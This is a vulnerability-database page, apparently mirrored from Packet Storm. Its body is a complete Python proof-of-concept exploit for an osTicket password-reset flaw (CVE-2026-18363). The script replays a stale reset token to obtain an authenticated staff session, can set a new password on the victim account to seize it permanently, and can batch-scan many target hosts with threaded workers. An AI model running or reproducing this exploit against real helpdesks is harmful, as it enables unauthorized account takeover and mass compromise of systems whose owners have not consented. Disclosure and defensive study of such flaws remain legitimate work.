Lucene search
+L

📄 osTicket 1.18.3 Authentication Bypass Account Takeover

🗓️ 03 Aug 2026 00:00:00Reported by 1dayexploitType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 14 Views

Proof exploit for osTicket 1.18.3 bypass enabling account takeover via expired token.

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2026-18363
30 Jul 202610:35
attackerkb
circl
Circl
CVE-2026-18363
30 Jul 202611:24
circl
cve
CVE
CVE-2026-18363
30 Jul 202610:35
cve
cvelist
Cvelist
CVE-2026-18363 Weak password recovery mechanism in osTicket by Enhancesoft LLC
30 Jul 202610:35
cvelist
euvd
EUVD
EUVD-2026-51068
30 Jul 202610:35
euvd
nvd
NVD
CVE-2026-18363
30 Jul 202611:16
nvd
ptsecurity
Positive Technologies
PT-2026-66451
30 Jul 202600:00
ptsecurity
vulnrichment
Vulnrichment
CVE-2026-18363 Weak password recovery mechanism in osTicket by Enhancesoft LLC
30 Jul 202610:35
vulnrichment
#!/usr/bin/env python3
    """
    CVE-2026-18363 - osTicket accepts password reset tokens forever (CWE-640)
    Affected: osTicket < 1.17.8 and 1.18.0 <= version < 1.18.4
    Type: Authentication bypass / account takeover
    
    The password reset expiry gate in PasswordResetTokenBackend::signOn()
    (include/class.auth.php) is written as
    
        elseif (!($ts = $_config->lastModified($_POST['token']))
                && ($ost->getConfig()->getPwResetWindow() < (time() - strtotime($ts))))
    
    The age comparison is guarded by `&&` behind "the token has no timestamp", so it
    only runs for tokens that do not exist. For every real token the condition short
    circuits to false and the token is accepted no matter how old it is. Nothing else
    enforces the window on a default install: the sweeper that deletes stale rows,
    Cron::CleanPwResets(), is only reachable from an externally scheduled Cron::run(),
    and enable_auto_cron ships as 0. An old reset token therefore stays valid forever.
    
    Given a reset token issued for the victim at any point in the past, this script
    POSTs it to /scp/pwreset.php and receives a live authenticated agent session. The
    follow-on password change does not ask for the current password (osTicket drops
    that field while a reset token is on the session), so the account can be seized
    permanently with --new-password.
    
    The token is the one precondition and it has to be obtained out of band, exactly
    as the CVE describes: a leaked or archived mailbox, a forwarded reset mail, a mail
    gateway log, browser history on a shared machine. Pass it with --token. Where you
    do have read access to the mail sink, --mail-api can pull it from a Mailpit or
    MailHog JSON API for you.
    
    Usage:
      python exploit.py --host 192.168.1.10 --username admin --token <48-char token>
      python exploit.py --host https://helpdesk.corp.com --username admin \
          --token <token> --new-password 'Pwn3d-By-1dayexploit!2026'
      python exploit.py --host http://10.0.0.5:8080/support --username admin --token <token>
      python exploit.py --host 10.0.0.5 --username admin --request-reset \
          --mail-api http://10.0.0.5:8025 --wait 90
      python exploit.py --list targets.txt --username admin --token <token> --workers 20
    """
    
    import argparse
    import re
    import sys
    import time
    from urllib.parse import urlparse
    
    import requests
    
    CVE_ID = "CVE-2026-18363"
    VULN_TYPE = "Auth Bypass"
    
    DEFAULT_PORT = 80
    DEFAULT_UA = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0 Safari/537.36"
    
    CSRF_RE = re.compile(r'__CSRFToken__["\']?\s+value=["\']([^"\']+)["\']')
    # Misc::randCode() draws from [a-zA-Z0-9_=], so '_' and '=' are common in tokens.
    TOKEN_RE = re.compile(r'token=([A-Za-z0-9_=]{48})')
    STAFF_ID_RE = re.compile(r'staff/(\d+)/change-password')
    # Markers that only appear once the session is an authenticated agent session.
    AUTH_MARKERS = ("logout.php", "Agent Panel", "profile.php", "dashboard.php")
    
    
    def header(host: str, port: int) -> None:
        print(f"\n{'='*60}")
        print(f"  ALIM EXPLOIT  {CVE_ID}")
        print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
        print(f"{'='*60}\n")
    
    
    def step(n: int, msg: str) -> None:
        print(f"[STEP {n}] {msg}")
    
    
    def section(label: str, content: str) -> None:
        print(f"\n--- {label} ---")
        print(str(content).strip())
        print("---\n")
    
    
    def done(success: bool, evidence: str) -> None:
        print(f"\n{'='*60}")
        print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
        print(f"  EVIDENCE: {evidence}")
        print(f"{'='*60}\n")
        sys.exit(0 if success else 1)
    
    
    # ----------------------------------------------------------------- helpers
    
    def _base_url(host: str, port: int, use_tls: bool, path: str) -> str:
        scheme = "https" if use_tls else "http"
        netloc = host
        if not (use_tls and port == 443) and not (not use_tls and port == 80):
            netloc = f"{host}:{port}"
        prefix = (path or "/").rstrip("/")
        return f"{scheme}://{netloc}{prefix}"
    
    
    def _new_session(timeout: int) -> requests.Session:
        s = requests.Session()
        s.headers.update({"User-Agent": DEFAULT_UA})
        s.verify = False
        s.request_timeout = timeout
        return s
    
    
    def _csrf(html: str):
        m = CSRF_RE.search(html)
        return m.group(1) if m else None
    
    
    def _bootstrap(session, base: str, timeout: int, token: str = None):
        """GET the reset page: establishes OSTSESSID and yields a fresh CSRF token."""
        url = f"{base}/scp/pwreset.php"
        if token:
            url += f"?token={token}"
        r = session.get(url, timeout=timeout, allow_redirects=False)
        return r, _csrf(r.text)
    
    
    def _request_reset(session, base: str, csrf: str, username: str, timeout: int):
        """Unauthenticated do=sendmail. Mints a fresh pwreset row for the victim."""
        return session.post(
            f"{base}/scp/pwreset.php",
            data={"__CSRFToken__": csrf, "do": "sendmail", "userid": username},
            timeout=timeout,
            allow_redirects=False,
        )
    
    
    def _token_from_mail(mail_api: str, victim: str, timeout: int, attempts: int = 20):
        """
        Pull the newest reset mail from a Mailpit (or MailHog v2) JSON API and pick the
        48 char token out of the reset link. This stands in for the out of band mailbox
        access the CVE presumes; it is not part of the vulnerability.
        """
        base = mail_api.rstrip("/")
        for _ in range(attempts):
            for listing, detail in (
                ("/api/v1/messages", "/api/v1/message/{id}"),
                ("/api/v2/messages", None),
            ):
                try:
                    r = requests.get(base + listing, timeout=timeout)
                    if r.status_code != 200:
                        continue
                    data = r.json()
                except Exception:
                    continue
                items = data.get("messages") or data.get("items") or []
                for item in items:
                    body = ""
                    mid = item.get("ID") or item.get("Id") or item.get("ID".lower())
                    if detail and mid:
                        try:
                            d = requests.get(base + detail.format(id=mid), timeout=timeout)
                            if d.status_code == 200:
                                j = d.json()
                                body = (j.get("Text") or "") + (j.get("HTML") or "")
                        except Exception:
                            body = ""
                    if not body:
                        body = str(item)
                    m = TOKEN_RE.search(body)
                    if m:
                        return m.group(1)
            time.sleep(3)
        return None
    
    
    def _sign_on(session, base: str, csrf: str, token: str, username: str, timeout: int):
        """
        The vulnerability. POST the reset token with do=newpasswd. On a vulnerable
        build signOn() returns the StaffSession regardless of the token's age and the
        server answers 302 -> index.php with the cookie jar upgraded to an
        authenticated agent session. A patched build re-renders the form with 200.
        """
        return session.post(
            f"{base}/scp/pwreset.php",
            data={
                "__CSRFToken__": csrf,
                "do": "newpasswd",
                "token": token,
                "userid": username,
            },
            timeout=timeout,
            allow_redirects=False,
        )
    
    
    def _accepted(resp) -> bool:
        """Token accepted == 302 redirect into the staff control panel."""
        loc = resp.headers.get("Location", "")
        return resp.status_code == 302 and "index.php" in loc
    
    
    def _rejection_detail(resp) -> str:
        """
        Explain a non-302 answer. osTicket declares signOn($errors=array()), so $errors is
        taken by value and the 'Invalid reset token' string it sets is thrown away before
        the page renders: on a rejection the <h3> comes back empty. The status code is the
        only usable signal, which is why _accepted() keys on it rather than on page text.
        """
        body = resp.text
        h3 = re.search(r"<h3[^>]*>([^<]*)</h3>", body)
        banner = (h3.group(1).strip() if h3 else "")
        reform = 'name="do" value="newpasswd"' in body
        return (
            f"HTTP {resp.status_code}, no Location header.\n"
            f"page is the reset form again : {reform}\n"
            f"error banner (<h3>)          : {banner or '(empty - osTicket discards $errors here, expected)'}\n"
            f"A patched build lands exactly here: signOn() returned null, the session was not\n"
            f"upgraded, and pwreset.login.php was re-rendered with HTTP 200."
        )
    
    
    def _authenticated_body(session, base: str, timeout: int):
        """Fetch the SCP landing page and report whether it is a logged-in view."""
        r = session.get(f"{base}/scp/index.php", timeout=timeout, allow_redirects=True)
        body = r.text
        ok = any(marker in body for marker in AUTH_MARKERS) and "pwreset.php" not in body[:800]
        return r, body, ok
    
    
    # ------------------------------------------------------------- scan support
    
    def _try_exploit(host: str, port: int, use_tls: bool, path: str = "/",
                     token: str = None, username: str = "admin",
                     timeout: int = 20) -> tuple:
        """Silent probe for --list scan mode. Returns (success, evidence). Never prints or exits."""
        if not token:
            return False, "no --token supplied (a reset token is required)"
        base = _base_url(host, port, use_tls, path)
        try:
            session = _new_session(timeout)
            _, csrf = _bootstrap(session, base, timeout, token=token)
            if not csrf:
                return False, "no CSRF token in response (not osTicket, or wrong path)"
            resp = _sign_on(session, base, csrf, token, username, timeout)
            if not _accepted(resp):
                return False, f"reset token rejected (HTTP {resp.status_code}) - patched or token/userid mismatch"
            _, _, authed = _authenticated_body(session, base, timeout)
            if not authed:
                return False, "302 received but SCP page is not authenticated"
            return True, f"authenticated as '{username}' with a stale reset token"
        except requests.exceptions.RequestException as e:
            return False, f"unreachable ({e.__class__.__name__})"
        except Exception as e:
            return False, f"error ({e.__class__.__name__})"
    
    
    def _parse_target(line: str, default_port: int, default_path: str = "/"):
        """One target line -> (host, port, use_tls, path), or None to skip."""
        line = line.strip()
        if not line or line.startswith("#"):
            return None
        if line.startswith(("http://", "https://")):
            p = urlparse(line)
            tls = p.scheme == "https"
            path = p.path if (p.path and p.path not in ("", "/")) else default_path
            return p.hostname, p.port or (443 if tls else default_port), tls, path
        if ":" in line:
            parts = line.rsplit(":", 1)
            try:
                port = int(parts[1])
                return parts[0], port, port in (443, 8443), default_path
            except ValueError:
                pass
        return line, default_port, default_port in (443, 8443), default_path
    
    
    def scan(targets_file: str, default_port: int, workers: int = 10,
             token: str = None, username: str = "admin", timeout: int = 20) -> None:
        """Batch scan from file."""
        import concurrent.futures
    
        with open(targets_file) as f:
            targets = [_parse_target(l, default_port) for l in f]
        targets = [t for t in targets if t is not None]
    
        print(f"\n{'='*60}")
        print(f"  {CVE_ID} - Batch Scan  ({len(targets)} targets, {workers} workers)")
        print(f"{'='*60}\n")
    
        if not token:
            print("  [!] --list needs --token: the reset token is the precondition of this CVE")
            print("      and it belongs to one specific account on one specific helpdesk.\n")
    
        success_count = 0
    
        def probe(t):
            host, port, use_tls, path = t
            label = f"{'https' if use_tls else 'http'}://{host}:{port}"
            ok, evidence = _try_exploit(host, port, use_tls, path, token, username, timeout)
            return label, ok, evidence
    
        with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
            futures = {ex.submit(probe, t): t for t in targets}
            for fut in concurrent.futures.as_completed(futures):
                label, ok, evidence = fut.result()
                print(f"  {'[+]' if ok else '[-]'} {label} - {'Exploited' if ok else 'Not vulnerable'}: {evidence}")
                if ok:
                    success_count += 1
    
        total = len(targets)
        print(f"\n{'='*60}")
        print(f"  SCAN COMPLETE  {success_count} exploited / {total - success_count} not vulnerable  ({total} total)")
        print(f"{'='*60}\n")
        sys.exit(0 if success_count > 0 else 1)
    
    
    # ---------------------------------------------------------------- exploit
    
    def exploit(host, port, use_tls, path, username, token, wait, request_reset,
                mail_api, new_password, staff_id, timeout):
        header(host, port)
        base = _base_url(host, port, use_tls, path)
        session = _new_session(timeout)
        n = 0
    
        n += 1
        step(n, f"Bootstrapping a session at {base}/scp/pwreset.php")
        r, csrf = _bootstrap(session, base, timeout)
        if r.status_code != 200 or not csrf:
            section("SERVER RESPONSE", f"HTTP {r.status_code}\n{r.text[:500]}")
            done(False, f"No osTicket reset form at {base}/scp/pwreset.php (HTTP {r.status_code})")
        sid = session.cookies.get("OSTSESSID", "")
        print(f"         OSTSESSID={sid}  __CSRFToken__={csrf}")
    
        issued_at = None
        if request_reset:
            n += 1
            step(n, f"Requesting a password reset for '{username}' (unauthenticated, do=sendmail)")
            rr = _request_reset(session, base, csrf, username, timeout)
            issued_at = time.time()
            print(f"         HTTP {rr.status_code} - the response is identical for valid and "
                  f"invalid accounts, so it proves nothing on its own")
    
        if not token:
            if not mail_api:
                done(False, "No --token given. Supply the victim's reset token, or use "
                            "--request-reset with --mail-api if you can read the mail sink.")
            n += 1
            step(n, f"Retrieving the reset token from the mail sink at {mail_api}")
            token = _token_from_mail(mail_api, username, timeout)
            if not token:
                done(False, f"No reset token found in the mailbox at {mail_api}")
            print(f"         token={token}")
    
        if wait > 0:
            n += 1
            step(n, f"Waiting {wait}s so the token ages out of the reset window")
            print(f"         token issued  : {time.strftime('%Y-%m-%dT%H:%M:%SZ', time.gmtime(issued_at or time.time()))}")
            time.sleep(wait)
            print(f"         token used at : {time.strftime('%Y-%m-%dT%H:%M:%SZ', time.gmtime())}"
                  f"  ({wait}s later - past the default 30 minute window on a lab-shortened install)")
    
        # Only a run that actually waited out the window demonstrates the expiry bypass.
        # A --wait 0 run is the control: a fresh token is accepted by patched builds too.
        if wait > 0:
            aged = f"a reset token used {wait}s after it was issued"
            stale = "stale token"
        else:
            aged = "a reset token of unasserted age"
            stale = "token"
    
        n += 1
        step(n, f"Loading the reset form with the {stale} to pick up a matching CSRF value")
        r2, csrf2 = _bootstrap(session, base, timeout, token=token)
        if not csrf2:
            section("SERVER RESPONSE", f"HTTP {r2.status_code}\n{r2.text[:500]}")
            done(False, "Reset form did not return a CSRF token")
    
        n += 1
        step(n, f"Submitting the {stale} as '{username}' (do=newpasswd) - this is the bug")
        resp = _sign_on(session, base, csrf2, token, username, timeout)
        loc = resp.headers.get("Location", "")
        section("SIGN-ON RESPONSE", f"HTTP {resp.status_code}\nLocation: {loc or '(none)'}")
    
        if not _accepted(resp):
            section("SERVER RESPONSE", _rejection_detail(resp))
            done(False, f"Stale token rejected (HTTP {resp.status_code}) - target is patched, "
                        f"or the token does not belong to '{username}'")
    
        n += 1
        step(n, "Following the redirect into the staff control panel")
        r3, body, authed = _authenticated_body(session, base, timeout)
        if not authed:
            section("SCP RESPONSE", body[:600])
            done(False, "Redirect received but the SCP page is not an authenticated view")
        who = re.search(r"<strong[^>]*>\s*([^<]{2,60})</strong>", body)
        section("AUTHENTICATED SCP PAGE",
                f"HTTP {r3.status_code}  {r3.url}\n"
                f"session cookie: OSTSESSID={session.cookies.get('OSTSESSID','')}\n"
                f"logged in as  : {who.group(1).strip() if who else username}\n"
                f"auth markers  : {[m for m in AUTH_MARKERS if m in body]}")
    
        if not new_password:
            done(True, f"Authenticated as agent '{username}' with {aged} - 302 to index.php "
                       f"and a live SCP session (no credentials used)")
    
        if not staff_id:
            m = STAFF_ID_RE.search(body)
            staff_id = int(m.group(1)) if m else None
        if not staff_id:
            done(True, f"Authenticated as agent '{username}' with {aged}, but could not "
                       f"determine the staff id for the password change (pass --staff-id)")
    
        n += 1
        step(n, f"Seizing the account: setting a new password for staff id {staff_id}")
        csrf3 = _csrf(body) or csrf2
        # The session carries _SESSION['_staff']['reset-token'], so osTicket drops the
        # 'current' field from the password form. The victim's password is not needed.
        cp = session.post(
            f"{base}/scp/ajax.php/staff/{staff_id}/change-password",
            data={"__CSRFToken__": csrf3, "passwd1": new_password, "passwd2": new_password},
            headers={"X-Requested-With": "XMLHttpRequest", "Referer": f"{base}/scp/index.php"},
            timeout=timeout,
            allow_redirects=False,
        )
        section("PASSWORD CHANGE RESPONSE", f"HTTP {cp.status_code}\n{cp.text[:400]}")
        if cp.status_code not in (200, 201):
            done(True, f"Authenticated as agent '{username}' with {aged}; the password change "
                       f"returned HTTP {cp.status_code} (password policy?)")
    
        n += 1
        step(n, "Proving persistence: fresh cookie jar, normal login with the new password")
        fresh = _new_session(timeout)
        lr = fresh.get(f"{base}/scp/login.php", timeout=timeout)
        lcsrf = _csrf(lr.text)
        li = fresh.post(
            f"{base}/scp/login.php",
            data={"__CSRFToken__": lcsrf, "do": "scplogin", "userid": username, "passwd": new_password},
            timeout=timeout,
            allow_redirects=False,
        )
        section("INDEPENDENT LOGIN",
                f"HTTP {li.status_code}\nLocation: {li.headers.get('Location','(none)')}\n"
                f"credentials: {username} / {new_password}")
        if li.status_code == 302 and "login.php" not in li.headers.get("Location", ""):
            done(True, f"Account takeover complete - agent '{username}' seized with {aged}; "
                       f"independent login with '{new_password}' returns 302 to "
                       f"{li.headers.get('Location')}")
        done(True, f"Authenticated as agent '{username}' with {aged}; the new password did "
                   f"not authenticate independently (HTTP {li.status_code})")
    
    
    if __name__ == "__main__":
        parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC - osTicket expired password reset token")
        target_grp = parser.add_mutually_exclusive_group(required=True)
        target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host/support)")
        target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
        parser.add_argument("--port", type=int, default=DEFAULT_PORT, help="Default port (default: 80)")
        parser.add_argument("--username", default="admin",
                            help="Victim agent username or email to authenticate as (default: admin)")
        parser.add_argument("--token", default=None,
                            help="Password reset token issued for the victim (48 chars, obtained out of band)")
        parser.add_argument("--wait", type=int, default=0,
                            help="Seconds to wait before using the token, to prove it is expired (default: 0)")
        parser.add_argument("--request-reset", action="store_true",
                            help="First mint a fresh reset token via the unauthenticated do=sendmail form")
        parser.add_argument("--mail-api", default=None,
                            help="Mailpit/MailHog base URL to read the reset mail from (e.g. http://host:8025)")
        parser.add_argument("--new-password", default=None,
                            help="Set this password on the victim account to make the takeover permanent")
        parser.add_argument("--staff-id", type=int, default=None,
                            help="Victim staff id for the password change (auto-detected if omitted)")
        parser.add_argument("--timeout", type=int, default=20, help="HTTP timeout in seconds (default: 20)")
        parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
        tls_grp = parser.add_mutually_exclusive_group()
        tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
        tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
        args = parser.parse_args()
    
        try:
            requests.packages.urllib3.disable_warnings()
        except Exception:
            pass
    
        if args.list:
            scan(args.list, default_port=args.port, workers=args.workers,
                 token=args.token, username=args.username, timeout=args.timeout)
        else:
            parsed = _parse_target(args.host, args.port)
            host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
            if args.tls:
                use_tls = True
            if args.no_tls:
                use_tls = False
            exploit(host, port, use_tls, path, args.username, args.token, args.wait,
                    args.request_reset, args.mail_api, args.new_password, args.staff_id,
                    args.timeout)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 Aug 2026 00:00Current
5.5Medium risk
Vulners AI Score5.5
CVSS 49.1
EPSS0.00298
SSVC
14